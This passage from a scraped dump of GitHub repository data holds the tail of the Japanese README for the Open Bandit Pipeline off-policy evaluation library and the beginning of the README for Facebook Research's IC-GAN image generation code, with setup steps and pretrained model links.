`obp.dataset.BaseBanditDataset`\u30af\u30e9\u30b9\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u5f93\u3063\u3066\u65b0\u305f\u306a\u30af\u30e9\u30b9\u3092\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3067, \u5c06\u6765\u516c\u958b\u3055\u308c\u308b\u3067\u3042\u308d\u3046Open Bandit Dataset\u4ee5\u5916\u306e\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30c7\u30fc\u30bf\u30bb\u30c3\u30c8\u3084\u81ea\u793e\u306b\u7279\u6709\u306e\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30c7\u30fc\u30bf\u3092\u6271\u3046\u3053\u3068\u3082\u3067\u304d\u307e\u3059.\n\n## (2) \u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2\n\n\u524d\u51e6\u7406\u306e\u5f8c\u306f, \u6b21\u306e\u3088\u3046\u306b\u3057\u3066**\u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2**\u3092\u5b9f\u884c\u3057\u307e\u3059.\n\n```python\n# \u8a55\u4fa1\u5bfe\u8c61\u306e\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u5b9a\u7fa9. \u3053\u3053\u3067\u306f, \u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306e\u6027\u80fd\u3092\u30aa\u30d5\u30e9\u30a4\u30f3\u8a55\u4fa1\u3059\u308b.\n# \u7814\u7a76\u8005\u304c\u72ec\u81ea\u306b\u5b9f\u88c5\u3057\u305f\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u65b9\u7b56\u3092\u7528\u3044\u308b\u3053\u3068\u3082\u3067\u304d\u308b.\nevaluation_policy = BernoulliTS(\n    n_actions=dataset.n_actions,\n    len_list=dataset.len_list,\n    is_zozotown_prior=True, # ZOZOTOWN\u4e0a\u3067\u306e\u6319\u52d5\u3092\u518d\u73fe\n    campaign=\"all\",\n    random_state=12345\n)\n# \u30b7\u30df\u30e5\u30ec\u30fc\u30b7\u30e7\u30f3\u3092\u7528\u3044\u3066\u3001\u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306b\u3088\u308b\u884c\u52d5\u9078\u629e\u78ba\u7387\u3092\u7b97\u51fa.\naction_dist = evaluation_policy.compute_batch_action_dist(\n    n_sim=100000, n_rounds=bandit_feedback[\"n_rounds\"]\n)\n```\n\n`BernoulliTS`\u306e`compute_batch_action_dist`\u30e1\u30bd\u30c3\u30c9\u306f, \u4e0e\u3048\u3089\u308c\u305f\u30d9\u30fc\u30bf\u5206\u5e03\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u57fa\u3065\u3044\u305f\u884c\u52d5\u9078\u629e\u78ba\u7387(`action_dist`)\u3092\u30b7\u30df\u30e5\u30ec\u30fc\u30b7\u30e7\u30f3\u306b\u3088\u3063\u3066\u7b97\u51fa\u3057\u307e\u3059. \u307e\u305f\u30e6\u30fc\u30b6\u306f[`./obp/policy/base.py`](https://github.com/st-tech/zr-obp/blob/master/obp/policy/base.py)\u306b\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u5f93\u3046\u3053\u3068\u3067\u72ec\u81ea\u306e\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u5b9f\u88c5\u3057, \u305d\u306e\u6027\u80fd\u3092\u8a55\u4fa1\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059.\n\n\n## (3) \u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1 \uff08Off-Policy Evaluation\uff09\n\n\u6700\u5f8c\u306e\u30b9\u30c6\u30c3\u30d7\u306f, \u30ed\u30b0\u30c7\u30fc\u30bf\u3092\u7528\u3044\u3066\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306e\u6027\u80fd\u3092\u30aa\u30d5\u30e9\u30a4\u30f3\u8a55\u4fa1\u3059\u308b**\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1**\u3067\u3059.\nOpen Bandit Pipeline\u3092\u4f7f\u3046\u3053\u3068\u3067, \u6b21\u306e\u3088\u3046\u306b\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u3092\u5b9f\u88c5\u3067\u304d\u307e\u3059.\n\n```python\n# IPW\u63a8\u5b9a\u91cf\u3092\u7528\u3044\u3066\u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306e\u6027\u80fd\u3092\u30aa\u30d5\u30e9\u30a4\u30f3\u8a55\u4fa1\u3059\u308b.\n# OffPolicyEvaluation\u30af\u30e9\u30b9\u306b\u306f, \u30aa\u30d5\u30e9\u30a4\u30f3\u8a55\u4fa1\u306b\u7528\u3044\u308b\u30ed\u30b0\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30c7\u30fc\u30bf\u3068\u7528\u3044\u308b\u63a8\u5b9a\u91cf\u3092\u6e21\u3059\uff08\u8907\u6570\u8a2d\u5b9a\u53ef\uff09.\nope = OffPolicyEvaluation(bandit_feedback=bandit_feedback, ope_estimators=[IPW()])\nestimated_policy_value = ope.estimate_policy_values(action_dist=action_dist)\nprint(estimated_policy_value)\n{'ipw': 0.004553...}\u3000# \u8a2d\u5b9a\u3055\u308c\u305f\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u306b\u3088\u308b\u6027\u80fd\u306e\u63a8\u5b9a\u5024\u3092\u542b\u3093\u3060\u8f9e\u66f8.\n\n# \u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306e\u6027\u80fd\u306e\u63a8\u5b9a\u5024\u3068\u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u306e\u771f\u306e\u6027\u80fd\u3092\u6bd4\u8f03\u3059\u308b.\nrelative_policy_value_of_bernoulli_ts = estimated_policy_value['ipw'] / bandit_feedback['reward'].mean()\n# \u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u306b\u3088\u3063\u3066, \u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306e\u6027\u80fd\u306f\u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u306e\u6027\u80fd\u309219.81%\u4e0a\u56de\u308b\u3068\u63a8\u5b9a\u3055\u308c\u305f.\nprint(relative_policy_value_of_bernoulli_ts)\n1.198126...\n```\n\n`obp.ope.BaseOffPolicyEstimator` \u30af\u30e9\u30b9\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u5f93\u3046\u3053\u3068\u3067, \u72ec\u81ea\u306e\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u3092\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059. \u3053\u308c\u306b\u3088\u308a\u65b0\u305f\u306a\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u306e\u63a8\u5b9a\u7cbe\u5ea6\u3092\u691c\u8a3c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059.\n\u307e\u305f, `obp.ope.OffPolicyEvaluation`\u306e`ope_estimators`\u306b\u8907\u6570\u306e\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u3092\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3067, \u8907\u6570\u306e\u63a8\u5b9a\u91cf\u306b\u3088\u308b\u63a8\u5b9a\u5024\u3092\u540c\u6642\u306b\u5f97\u308b\u3053\u3068\u3082\u53ef\u80fd\u3067\u3059. `bandit_feedback['reward'].mean()` \u306f\u89b3\u6e2c\u3055\u308c\u305f\u5831\u916c\u306e\u7d4c\u9a13\u5e73\u5747\u5024\uff08\u30aa\u30f3\u65b9\u7b56\u63a8\u5b9a\uff09\u3067\u3042\u308a, \u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u306e\u771f\u306e\u6027\u80fd\u3092\u8868\u3057\u307e\u3059.\n\n\n# \u5f15\u7528\nOpen Bandit Dataset\u3084Open Bandit Pipeline\u3092\u6d3b\u7528\u3057\u3066\u8ad6\u6587\u3084\u30d6\u30ed\u30b0\u8a18\u4e8b\u7b49\u3092\u57f7\u7b46\u3055\u308c\u305f\u5834\u5408, \u4ee5\u4e0b\u306e\u8ad6\u6587\u3092\u5f15\u7528\u3057\u3066\u3044\u305f\u3060\u304f\u3088\u3046\u304a\u9858\u3044\u3044\u305f\u3057\u307e\u3059.\n\nYuta Saito, Shunsuke Aihara, Megumi Matsutani, Yusuke Narita.<br>\n**Open Bandit Dataset and Pipeline: Towards Realistic and Reproducible Off-Policy Evaluation**<br>\n[https://arxiv.org/abs/2008.07146](https://arxiv.org/abs/2008.07146)\n\nBibtex:\n```\n@article{saito2020open,\n  title={Open Bandit Dataset and Pipeline: Towards Realistic and Reproducible Off-Policy Evaluation},\n  author={Saito, Yuta and Shunsuke, Aihara and Megumi, Matsutani and Yusuke, Narita},\n  journal={arXiv preprint arXiv:2008.07146},\n  year={2020}\n}\n```\n\n# Google Group\n\u672c\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u95a2\u3059\u308b\u6700\u65b0\u60c5\u5831\u306f\u6b21\u306eGoogle Group\u306b\u3066\u968f\u6642\u304a\u77e5\u3089\u305b\u3057\u3066\u3044\u307e\u3059. \u305c\u3072\u3054\u767b\u9332\u304f\u3060\u3055\u3044: https://groups.google.com/g/open-bandit-project\n\n# \u30b3\u30f3\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\nOpen Bandit Pipeline\u3078\u306e\u3069\u3093\u306a\u8ca2\u732e\u3082\u6b53\u8fce\u3044\u305f\u3057\u307e\u3059. \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u8ca2\u732e\u3059\u308b\u305f\u3081\u306e\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306f, [CONTRIBUTING.md](./CONTRIBUTING.md)\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002\n\n# \u30e9\u30a4\u30bb\u30f3\u30b9\n\u3053\u306e\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306fApache 2.0\u30e9\u30a4\u30bb\u30f3\u30b9\u3092\u63a1\u7528\u3057\u3066\u3044\u307e\u3059. \u8a73\u7d30\u306f, [LICENSE](https://github.com/st-tech/zr-obp/blob/master/LICENSE)\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044.\n\n# \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u30c1\u30fc\u30e0\n\n- [\u9f4b\u85e4\u512a\u592a](https://usait0.com/ja/) (**Main Contributor**; \u534a\u719f\u4eee\u60f3\u682a\u5f0f\u4f1a\u793e / \u30b3\u30fc\u30cd\u30eb\u5927\u5b66)\n- [\u7c9f\u98ef\u539f\u4fca\u4ecb](https://www.linkedin.com/in/shunsukeaihara/) (ZOZO\u7814\u7a76\u6240)\n- \u677e\u8c37\u6075 (ZOZO\u7814\u7a76\u6240)\n- [\u6210\u7530\u60a0\u8f14](https://www.yusuke-narita.com/) (\u534a\u719f\u4eee\u60f3\u682a\u5f0f\u4f1a\u793e / \u30a4\u30a7\u30fc\u30eb\u5927\u5b66)\n\n## \u958b\u767a\u30e1\u30f3\u30d0\u30fc\n- [\u91ce\u6751\u5c06\u5bdb](https://twitter.com/nomuramasahir0) (\u682a\u5f0f\u4f1a\u793e\u30b5\u30a4\u30d0\u30fc\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8 / \u534a\u719f\u4eee\u60f3\u682a\u5f0f\u4f1a\u793e)\n- [\u9ad8\u5c71\u6643\u4e00](https://fullflu.hatenablog.com/) (\u534a\u719f\u4eee\u60f3\u682a\u5f0f\u4f1a\u793e)\n- [\u9ed2\u5ca9\u7a1c](https://kurorororo.github.io) (\u30c8\u30ed\u30f3\u30c8\u5927\u5b66 / \u534a\u719f\u4eee\u60f3\u682a\u5f0f\u4f1a\u793e)\n- [\u6e05\u539f\u660e\u52a0](https://sites.google.com/view/harukakiyohara) (\u6771\u4eac\u5de5\u696d\u5927\u5b66 / \u534a\u719f\u4eee\u60f3\u682a\u5f0f\u4f1a\u793e)\n\n# \u9023\u7d61\u5148\n\u8ad6\u6587\u3084Open Bandit Dataset, Open Bandit Pipeline\u306b\u95a2\u3059\u308b\u3054\u8cea\u554f\u306f, \u6b21\u306e\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u5b9b\u306b\u304a\u9858\u3044\u3044\u305f\u3057\u307e\u3059: saito@hanjuku-kaso.com\n\n# \u53c2\u8003\n\n<details>\n<summary><strong>\u8ad6\u6587</strong></summary>\n\n1. Alina Beygelzimer and John Langford. [The offset tree for learning with partial labels](https://arxiv.org/abs/0812.4044). In *Proceedings of the 15th ACM SIGKDD International Conference on Knowledge Discovery&Data Mining*, 129\u2013138, 2009.\n\n2. Olivier Chapelle and Lihong Li. [An empirical evaluation of thompson sampling](https://papers.nips.cc/paper/4321-an-empirical-evaluation-of-thompson-sampling). In *Advances in Neural Information Processing Systems*, 2249\u20132257, 2011.\n\n3. Lihong Li, Wei Chu, John Langford, and Xuanhui Wang. [Unbiased Offline Evaluation of Contextual-bandit-based News Article Recommendation Algorithms](https://arxiv.org/abs/1003.5956). In *Proceedings of the Fourth ACM International Conference on Web Search and Data Mining*, 297\u2013306, 2011.\n\n4. Alex Strehl, John Langford, Lihong Li, and Sham M Kakade. [Learning from Logged Implicit Exploration Data](https://arxiv.org/abs/1003.0120). In *Advances in Neural Information Processing Systems*, 2217\u20132225, 2010.\n\n5.  Doina Precup, Richard S. Sutton, and Satinder Singh. [Eligibility Traces for Off-Policy Policy Evaluation](https://scholarworks.umass.edu/cgi/viewcontent.cgi?article=1079&context=cs_faculty_pubs). In *Proceedings of the 17th International Conference on Machine Learning*, 759\u2013766. 2000.\n\n6.  Miroslav Dud\u00edk, Dumitru Erhan, John Langford, and Lihong Li. [Doubly Robust Policy Evaluation and Optimization](https://arxiv.org/abs/1503.02834). *Statistical Science*, 29:485\u2013511, 2014.\n\n7. Adith Swaminathan and Thorsten Joachims. [The Self-normalized Estimator for Counterfactual Learning](https://papers.nips.cc/paper/5748-the-self-normalized-estimator-for-counterfactual-learning). In *Advances in Neural Information Processing Systems*, 3231\u20133239, 2015.\n\n8. Dhruv Kumar Mahajan, Rajeev Rastogi, Charu Tiwari, and Adway Mitra. [LogUCB: An Explore-Exploit Algorithm for Comments Recommendation](https://dl.acm.org/doi/10.1145/2396761.2396767). In *Proceedings of the 21st ACM international conference on Information and knowledge management*, 6\u201315. 2012.\n\n9.  Lihong Li, Wei Chu, John Langford, Taesup Moon, and Xuanhui Wang. [An Unbiased Offline Evaluation of Contextual Bandit Algorithms with Generalized Linear Models](http://proceedings.mlr.press/v26/li12a.html). In *Journal of Machine Learning Research: Workshop and Conference Proceedings*, volume 26, 19\u201336. 2012.\n\n10. Yu-Xiang Wang, Alekh Agarwal, and Miroslav Dudik. [Optimal and Adaptive Off-policy Evaluation in Contextual Bandits](https://arxiv.org/abs/1612.01205). In *Proceedings of the 34th International Conference on Machine Learning*, 3589\u20133597. 2017.\n\n11. Mehrdad Farajtabar, Yinlam Chow, and Mohammad Ghavamzadeh. [More Robust Doubly Robust Off-policy Evaluation](https://arxiv.org/abs/1802.03493). In *Proceedings of the 35th International Conference on Machine Learning*, 1447\u20131456. 2018.\n\n12. Nathan Kallus and Masatoshi Uehara. [Intrinsically Efficient, Stable, and Bounded Off-Policy Evaluation for Reinforcement Learning](https://arxiv.org/abs/1906.03735). In *Advances in Neural Information Processing Systems*. 2019.\n\n13. Yi Su, Lequn Wang, Michele Santacatterina, and Thorsten Joachims. [CAB: Continuous Adaptive Blending Estimator for Policy Evaluation and Learning](https://proceedings.mlr.press/v97/su19a). In *Proceedings of the 36th International Conference on Machine Learning*, 6005-6014, 2019.\n\n14. Yi Su, Maria Dimakopoulou, Akshay Krishnamurthy, and Miroslav Dud\u00edk. [Doubly Robust Off-policy Evaluation with Shrinkage](https://proceedings.mlr.press/v119/su20a.html). In *Proceedings of the 37th International Conference on Machine Learning*, 9167-9176, 2020.\n\n15. Nathan Kallus and Angela Zhou. [Policy Evaluation and Optimization with Continuous Treatments](https://arxiv.org/abs/1802.06037). In *International Conference on Artificial Intelligence and Statistics*, 1243\u20131251. PMLR, 2018.\n\n16. Aman Agarwal, Soumya Basu, Tobias Schnabel, and Thorsten Joachims. [Effective Evaluation using Logged Bandit Feedback from Multiple Loggers](https://arxiv.org/abs/1703.06180). In *Proceedings of the 23rd ACM SIGKDD international conference on Knowledge discovery and data mining*, 687\u2013696, 2017.\n\n17. Nathan Kallus, Yuta Saito, and Masatoshi Uehara. [Optimal Off-Policy Evaluation from Multiple Logging Policies](http://proceedings.mlr.press/v139/kallus21a.html). In *Proceedings of the 38th International Conference on Machine Learning*, 5247-5256, 2021.\n\n18. Shuai Li, Yasin Abbasi-Yadkori, Branislav Kveton, S Muthukrishnan, Vishwa Vinay, and Zheng Wen. [Offline Evaluation of Ranking Policies with Click Models](https://arxiv.org/pdf/1804.10488). In *Proceedings of the 24th ACM SIGKDD International Conference on Knowledge Discovery&Data Mining*, 1685\u20131694, 2018.\n\n19. James McInerney, Brian Brost, Praveen Chandar, Rishabh Mehrotra, and Benjamin Carterette. [Counterfactual Evaluation of Slate Recommendations with Sequential Reward Interactions](https://arxiv.org/abs/2007.12986). In *Proceedings of the 26th ACM SIGKDD International Conference on Knowledge Discovery&Data Mining*, 1779\u20131788, 2020.\n\n20. Yusuke Narita, Shota Yasui, and Kohei Yata. [Debiased Off-Policy Evaluation for Recommendation Systems](https://dl.acm.org/doi/10.1145/3460231.3474231). In *Proceedings of the Fifteenth ACM Conference on Recommender Systems*, 372-379, 2021.\n\n21. Weihua Hu, Matthias Fey, Marinka Zitnik, Yuxiao Dong, Hongyu Ren, Bowen Liu, Michele Catasta, and Jure Leskovec. [Open Graph Benchmark: Datasets for Machine Learning on Graphs](https://arxiv.org/abs/2005.00687). In *Advances in Neural Information Processing Systems*. 2020.\n\n22. Noveen Sachdeva, Yi Su, and Thorsten Joachims. [Off-policy Bandits with Deficient Support](https://dl.acm.org/doi/10.1145/3394486.3403139). In *Proceedings of the 26th ACM SIGKDD International Conference on Knowledge Discovery & Data Mining*, 965-975, 2021.\n\n23. Yi Su, Pavithra Srinath, and Akshay Krishnamurthy. [Adaptive Estimator Selection for Off-Policy Evaluation](https://proceedings.mlr.press/v119/su20d.html). In *Proceedings of the 38th International Conference on Machine Learning*, 9196-9205, 2021.\n\n24. Haruka Kiyohara, Yuta Saito, Tatsuya Matsuhiro, Yusuke Narita, Nobuyuki Shimizu, Yasuo Yamamoto. [Doubly Robust Off-Policy Evaluation for Ranking Policies under the Cascade Behavior Model](https://dl.acm.org/doi/10.1145/3488560.3498380). In *Proceedings of the Fifteenth ACM International Conference on Web Search and Data Mining*, 487-497, 2022.\n\n25. Yuta Saito and Thorsten Joachims. [Off-Policy Evaluation for Large Action Spaces via Embeddings](https://arxiv.org/abs/2202.06317). In *Proceedings of the 39th International Conference on Machine Learning*, 2022.\n\n</details>\n\n<details>\n<summary><strong>\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d7\u30ed\u30b8\u30a7\u30af\u30c8</strong></summary>\n\u672c\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306f **Open Graph Benchmark** ([[github](https://github.com/snap-stanford/ogb)] [[project page](https://ogb.stanford.edu)] [[paper](https://arxiv.org/abs/2005.00687)]) \u3092\u53c2\u8003\u306b\u3057\u3066\u3044\u307e\u3059.\n</details>\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "facebookresearch/ic_gan", "link": "https://github.com/facebookresearch/ic_gan", "tags": [], "stars": 514, "description": "Official repository for the paper \"Instance-Conditioned GAN\" by Arantxa Casanova, Marlene Careil, Jakob Verbeek, Micha\u0142 Dro\u017cd\u017cal, Adriana Romero-Soriano.", "lang": "Python", "repo_lang": "", "readme": "# <p align=\"center\"> IC-GAN: Instance-Conditioned GAN </p>\nOfficial Pytorch code of [Instance-Conditioned GAN](https://arxiv.org/abs/2109.05070) by Arantxa Casanova, Marl\u00e8ne Careil, Jakob Verbeek, Micha\u0142 Dro\u017cd\u017cal, Adriana Romero-Soriano. \n![IC-GAN results](./figures/github_image.png?raw=true)\n\n## Generate images with IC-GAN in a Colab Notebook\nWe provide a [Google Colab notebook](https://colab.research.google.com/github/facebookresearch/ic_gan/blob/main/inference/icgan_colab.ipynb) to generate images with IC-GAN and its class-conditional counter part. We also invite users to check out the [demo on Replicate](https://replicate.ai/arantxacasanova/ic_gan), courtesy of [Replicate](https://replicate.ai/home).\n\nThe figure below depicts two instances, unseen during training and downloaded from [Creative Commons search](https://search.creativecommons.org), and the generated images with IC-GAN and class-conditional IC-GAN when conditioning on the class \"castle\":\n<p align=\"center\">\n  <img src=\"./figures/icgan_transfer_all_github.png?raw=true\">\n</p>\n\nAdditionally, and inspired by [this Colab](https://colab.research.google.com/github/eyaler/clip_biggan/blob/main/ClipBigGAN.ipynb), we provide the funcionality in the same Colab notebook to guide generations with text captions, using the [CLIP model](https://github.com/openai/CLIP). \nAs an example, the following Figure shows three instance conditionings and a text caption (top), followed by the resulting generated images with IC-GAN (bottom), when optimizing the noise vector following CLIP's gradient for 100 iterations. \n<p align=\"center\">\n  <img src=\"./figures/icgan_clip.png?raw=true\">\n</p>\n\n\n*Credit for the three instance conditionings, from left to right, that were modified with a resize and central crop:* [1: \"Landscape in Bavaria\" by shining.darkness, licensed under CC BY 2.0](https://search.creativecommons.org/photos/92ef279c-4469-49a5-aa4b-48ad746f2dc4), [2: \"Fantasy Landscape - slolsss\" by Douglas Tofoli is marked with CC PDM 1.0](https://search.creativecommons.org/photos/13646adc-f1df-437a-a0dd-8223452ee46c), [3: \"How to Draw Landscapes Simply\" by Kuwagata Keisai is marked with CC0 1.0](https://search.creativecommons.org/photos/2ab9c3b7-de99-4536-81ed-604ee988bd5f)\n\n\n## Requirements\n* Python 3.8 \n* Cuda v10.2 / Cudnn v7.6.5\n* gcc v7.3.0\n* Pytorch 1.8.0\n* A conda environment can be created from `environment.yaml` by entering the command: `conda env create -f environment.yml`, that contains the aforemention version of Pytorch and other required packages. \n* Faiss: follow the instructions in the [original repository](https://github.com/facebookresearch/faiss).\n\n\n## Overview \n\nThis repository consists of four main folders:\n* `data_utils`: A common folder to obtain and format the data needed to train and test IC-GAN, agnostic of the specific backbone. \n* `inference`: Scripts to test the models both qualitatively and quantitatively.\n* `BigGAN_PyTorch`: It provides the training, evaluation and sampling scripts for IC-GAN with a BigGAN backbone. The code base comes from [Pytorch BigGAN repository](https://github.com/ajbrock/BigGAN-PyTorch), made available under the MIT License. It has been modified to [add additional utilities](#biggan-changelog) and it enables IC-GAN training on top of it.\n* `stylegan2_ada_pytorch`: It provides the training, evaluation and sampling scripts for IC-GAN with a StyleGAN2 backbone. The code base comes from [StyleGAN2 Pytorch](https://github.com/NVlabs/stylegan2-ada-pytorch), made available under the [Nvidia Source Code License](https://nvlabs.github.io/stylegan2-ada-pytorch/license.html). It has been modified to [add additional utilities](#stylegan-changelog) and it enables IC-GAN training on top of it.\n\n\n## (Python script) Generate images with IC-GAN\nAlternatively, we can <b> generate images with IC-GAN models </b> directly from a python script, by following the next steps:\n1) Download the desired pretrained models (links below) and the [pre-computed 1000 instance features from ImageNet](https://dl.fbaipublicfiles.com/ic_gan/stored_instances.tar.gz) and extract them into a folder `pretrained_models_path`. \n\n| model | backbone | class-conditional? | training dataset | resolution | url |\n|-------------------|-------------------|-------------------|---------------------|--------------------|--------------------|\n| IC-GAN | BigGAN | No | ImageNet | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_biggan_imagenet_res256.tar.gz) | \n| IC-GAN (half capacity) | BigGAN | No | ImageNet | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_biggan_imagenet_res256_halfcap.tar.gz) | \n| IC-GAN | BigGAN | No | ImageNet | 128x128 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_biggan_imagenet_res128.tar.gz) | \n| IC-GAN | BigGAN | No | ImageNet | 64x64 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_biggan_imagenet_res64.tar.gz) | \n| IC-GAN | BigGAN | Yes | ImageNet | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenet_res256.tar.gz) | \n| IC-GAN (half capacity) | BigGAN | Yes | ImageNet | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenet_res256_halfcap.tar.gz) | \n| IC-GAN | BigGAN | Yes | ImageNet | 128x128 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenet_res128.tar.gz) | \n| IC-GAN | BigGAN | Yes | ImageNet | 64x64 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenet_res64.tar.gz) | \n| IC-GAN | BigGAN | Yes | ImageNet-LT | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenetlt_res256.tar.gz) | \n| IC-GAN | BigGAN | Yes | ImageNet-LT | 128x128 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenetlt_res128.tar.gz) | \n| IC-GAN | BigGAN | Yes | ImageNet-LT | 64x64 | [model](https://dl.fbaipublicfiles.com/ic_gan/cc_icgan_biggan_imagenetlt_res64.tar.gz) | \n| IC-GAN | BigGAN | No | COCO-Stuff | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_biggan_coco_res256.tar.gz) | \n| IC-GAN | BigGAN | No | COCO-Stuff | 128x128 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_biggan_coco_res128.tar.gz) | \n| IC-GAN | StyleGAN2 | No | COCO-Stuff | 256x256 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_stylegan2_coco_res256.tar.gz) | \n| IC-GAN | StyleGAN2 | No | COCO-Stuff | 128x128 | [model](https://dl.fbaipublicfiles.com/ic_gan/icgan_stylegan2_coco_res128.tar.gz) | \n\n2) Execute: \n```\npython inference/generate_images.py --root_path [pretrained_models_path] --model [model] --model_backbone [backbone] --resolution [res]\n```\n* `model` can be chosen from `[\"icgan\", \"cc_icgan\"]` to use the IC-GAN or the class-conditional IC-GAN model respectively.\n* `backbone` can be chosen from `[\"biggan\", \"stylegan2\"]`.\n* `res` indicates the resolution at which the model has been trained. For ImageNet, choose one in `[64, 128, 256]`, and for COCO-Stuff, one in `[128, 256]`.\n\nThis script results in a .PNG file where several generated images are shown, given an instance feature (each row), and a sampled noise vector (each grid position).\n   \n<b>Additional and optional parameters</b>:\n* `index`: (None by default), is an integer from 0 to 999 that choses a specific instance feature vector out of the 1000 instances that have been selected with k-means on the ImageNet dataset and stored in `pretrained_models_path/stored_instances`.\n* `swap_target`: (None by default) is an integer from 0 to 999 indicating an ImageNet class label. This label will be used to condition the class-conditional IC-GAN, regardless of which instance features are being used.\n* `which_dataset`: (ImageNet by default) can be chosen from `[\"imagenet\", \"coco\"]` to indicate which dataset (training split) to sample the instances from. \n* `trained_dataset`: (ImageNet by default) can be chosen from `[\"imagenet\", \"coco\"]` to indicate the dataset in which the IC-GAN model has been trained on. \n* `num_imgs_gen`: (5 by default), it changes the number of noise vectors to sample per conditioning. Increasing this number results in a bigger .PNG file to save and load.\n* `num_conditionings_gen`: (5 by default), it changes the number of conditionings to sample. Increasing this number results in a bigger .PNG file to save and load.\n* `z_var`: (1.0 by default) controls the truncation factor for the generation. \n* Optionally, the script can be run with the following additional options `--visualize_instance_images --dataset_path [dataset_path]` to visualize the ground-truth images corresponding to the conditioning instance features, given a path to the dataset's ground-truth images `dataset_path`. Ground-truth instances will be plotted as the leftmost image for each row.\n\n## Data preparation \n<div id=\"data-preparation\">\n<details>\n<summary>ImageNet</summary>\n<br>\n   <ol>\n      <li>Download dataset from <a href=\"https://image-net.org/download.php\"> here </a>.\n      </li>\n      <li>Download <a href=\"https://github.com/facebookresearch/swav\"> SwAV </a> feature extractor weights from <a href=\"https://dl.fbaipublicfiles.com/deepcluster/swav_800ep_pretrain.pth.tar\"> here </a>. </li>\n      <li> Replace the paths in data_utils/prepare_data.sh: <code>out_path</code> by the path where hdf5 files will be stored, <code>path_imnet</code> by the path where ImageNet dataset is downloaded, and <code>path_swav</code> by the path where SwAV weights are stored. </li>\n      <li> Execute <code>./data_utils/prepare_data.sh imagenet [resolution]</code>, where <code>[resolution]</code> can be an integer in {64,128,256}. This script will create several hdf5 files:\n         <ul> <li> <code>ILSVRC[resolution]_xy.hdf5</code> and <code>ILSVRC[resolution]_val_xy.hdf5</code>, where images and labels are stored for the training and validation set          respectively. </li>\n           <li> <code>ILSVRC[resolution]_feats_[feature_extractor]_resnet50.hdf5</code> that contains the instance features for each image. </li>\n            <li> <code>ILSVRC[resolution]_feats_[feature_extractor]_resnet50_nn_k[k_nn].hdf5</code> that contains the list of [k_nn] neighbors for each of the instance features. </li> </ul> </li>\n   </ol> </br>\n</details>\n\n<details>\n<summary>ImageNet-LT</summary>\n<br>\n   <ol>\n      <li>Download ImageNet dataset from <a href=\"https://image-net.org/download.php\"> here </a>. Following <a 